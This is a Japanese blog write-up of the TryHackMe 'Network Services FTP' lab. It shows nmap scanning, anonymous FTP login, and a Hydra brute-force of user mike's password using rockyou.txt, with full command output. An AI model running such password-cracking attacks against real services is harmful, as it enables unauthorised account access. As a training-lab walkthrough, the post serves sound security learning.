0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

TryHackMe Network Services FTP Writeup

Posted at

はじめに

本記事は「TryHackMe:Network Services FTP」のwriteupです。

問題

FTPに関する問題です。

回答

ポートスキャンします。
結果ftptcp/21が公開されていることがわかりました。

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- --min-rate 5000 10.10.115.136
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-10 00:00 JST
Warning: 10.10.115.136 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.115.136
Host is up (0.26s latency).
Not shown: 55660 closed tcp ports (conn-refused), 9874 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
Service Info: Host: Welcome

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.28 seconds

匿名アクセスできるか試してみます。
ftp <IP>でアクセスし、ユーザ名にanonymous、パスワードなしを試したところ、ログインできました。

┌──(kali㉿kali)-[~]
└─$ ftp 10.10.115.136
Connected to 10.10.115.136.
220 Welcome to the administrator FTP service.
Name (10.10.115.136:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

続いてFTPサーバの重要そうなファイルを探してみます。
lsするとPUBLIC_NOTICE.txtというファイルがあったのでmoreで中身を確認します。
FTPサーバのメンテナンスに関する文章でありMikeという方が担当者のようです。名前は覚えておく必要がありそうです。

ftp> ls
229 Entering Extended Passive Mode (|||64921|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             353 Apr 24  2020 PUBLIC_NOTICE.txt
226 Directory send OK.
ftp> more PUBLIC_NOTICE.txt
===================================
MESSAGE FROM SYSTEM ADMINISTRATORS
===================================

Hello,

I hope everyone is aware that the
FTP server will not be available
over the weekend- we will be
carrying out routine system
maintenance. Backups will be
made to my account so I reccomend
encrypting any sensitive data.

Cheers,

Mike

Hydraを使用してFTPのパスワードをクラッキングします。

hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp

-tはターゲットへの並列接続数を指定します。
-lはログインするユーザー名を指定します。
-Pはパスワードのリストを含むファイルを指定します。
-vVで各試行のログインとパスの組み合わせを表示します。
ftpはプロトコルを指定します。

以下の結果からユーザー名mikeのパスワードはpasswordということがわかりました。

┌──(kali㉿kali)-[~]
└─$ hydra -t 4 -l mike -P /usr/share/wordlists/rockyou.txt -vV 10.10.115.136 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-10 00:19:54
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ftp://10.10.115.136:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 10.10.115.136 - login "mike" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.115.136 - login "mike" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.115.136 - login "mike" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.10.115.136 - login "mike" - pass "password" - 4 of 14344399 [child 3] (0/0)
[21][ftp] host: 10.10.115.136   login: mike   password: password
[STATUS] attack finished for 10.10.115.136 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-10 00:20:01

早速、入手したユーザー名、パスワードでログインしたところ、カレントディレクトリにフラグが記載されたファイル(ftp.txt)がありました。

┌──(kali㉿kali)-[~]
└─$ ftp 10.10.115.136
Connected to 10.10.115.136.
220 Welcome to the administrator FTP service.
Name (10.10.115.136:kali): mike
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||40491|)
150 Here comes the directory listing.
drwxrwxrwx    2 0        0            4096 Apr 24  2020 ftp
-rwxrwxrwx    1 0        0              26 Apr 24  2020 ftp.txt
226 Directory send OK.
ftp>
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?